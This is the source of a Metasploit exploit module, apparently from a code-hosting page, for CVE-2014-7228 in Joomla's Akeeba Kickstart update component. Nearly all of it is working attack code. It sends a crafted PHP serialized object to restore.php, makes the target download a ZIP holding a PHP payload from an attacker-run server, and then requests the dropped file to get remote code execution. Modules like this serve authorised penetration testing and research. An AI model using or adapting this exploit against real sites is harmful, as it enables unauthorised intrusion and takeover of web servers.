Path: blob/master/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/zip'6require 'json'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::HttpClient12include Msf::Exploit::Remote::HttpServer::HTML13include Msf::Exploit::FileDropper1415def initialize(info = {})16super(17update_info(18info,19'Name' => "Joomla Akeeba Kickstart Unserialize Remote Code Execution",20'Description' => %q{21This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier223.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba23component, which is responsible for Joomla! updates. Nevertheless it is worth to note24that this vulnerability is only exploitable during the update of the Joomla! CMS.25},26'License' => MSF_LICENSE,27'Author' => [28'Johannes Dahse', # Vulnerability discovery29'us3r777 <us3r777[at]n0b0.so>' # Metasploit module30],31'References' => [32[ 'CVE', '2014-7228' ],33[ 'URL', 'http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html'],34[ 'URL', 'https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html'],35[ 'URL', 'http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/'],36],37'Platform' => ['php'],38'Arch' => ARCH_PHP,39'Targets' => [40[ 'Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4', {} ]41],42'Stance' => Msf::Exploit::Stance::Aggressive,43'Privileged' => false,44'DisclosureDate' => '2014-09-29',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']),57OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 5])58]59)60end6162def check63res = send_request_cgi(64'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restoration.php')65)6667if res && res.code == 20068return Exploit::CheckCode::Detected69end7071Exploit::CheckCode::Safe72end7374def primer75srv_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(3))}.zip"7677php_serialized_akfactory = 'O:9:"AKFactory":1:{s:18:"' + "\x00" + 'AKFactory' + "\x00" + 'varlist";a:2:{s:27:"kickstart.security.password";s:0:"";s:26:"kickstart.setup.sourcefile";s:' + srv_uri.length.to_s + ':"' + srv_uri + '";}}'78php_filename = rand_text_alpha(8 + rand(8)) + '.php'7980# Create the zip archive81print_status("Creating archive with file #{php_filename}")82zip_file = Rex::Zip::Archive.new83zip_file.add_file(php_filename, payload.encoded)84@zip = zip_file.pack8586# First step: call restore to run _prepare() and get an initialized AKFactory87print_status("Sending PHP serialized object...")88res = send_request_cgi({89'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),90'vars_get' => {91'task' => 'stepRestore',92'factory' => Rex::Text.encode_base64(php_serialized_akfactory)93}94})9596unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/97print_status("#{res.code}\n#{res.body}")98fail_with(Failure::Unknown, "#{peer} - Unexpected response")99end100101# Second step: modify the currentPartNumber within the returned serialized AKFactory102json = /###(.*)###/.match(res.body)[1]103begin104b64encoded_prepared_factory = JSON.parse(json)['factory']105rescue JSON::ParserError106fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")107end108109prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory)110modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1')111112print_status("Sending initialized and modified AKFactory...")113res = send_request_cgi({114'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', 'restore.php'),115'vars_get' => {116'task' => 'stepRestore',117'factory' => Rex::Text.encode_base64(modified_factory)118}119})120121unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/122fail_with(Failure::Unknown, "#{peer} - Unexpected response")123end124125register_files_for_cleanup(php_filename)126127print_status("Executing payload...")128send_request_cgi({129'uri' => normalize_uri(target_uri, 'administrator', 'components', 'com_joomlaupdate', php_filename)130}, 2)131end132133def exploit134begin135Timeout.timeout(datastore['HTTPDELAY']) { super }136rescue Timeout::Error137# When the server stops due to our timeout, this is raised138end139end140141# Handle incoming requests from the server142def on_request_uri(cli, request)143if @zip && request.uri =~ /\.zip$/144print_status("Sending the ZIP archive...")145send_response(cli, @zip, { 'Content-Type' => 'application/zip' })146return147end148149print_status("Sending not found...")150send_not_found(cli)151end152153def autofilter154true155end156end157158159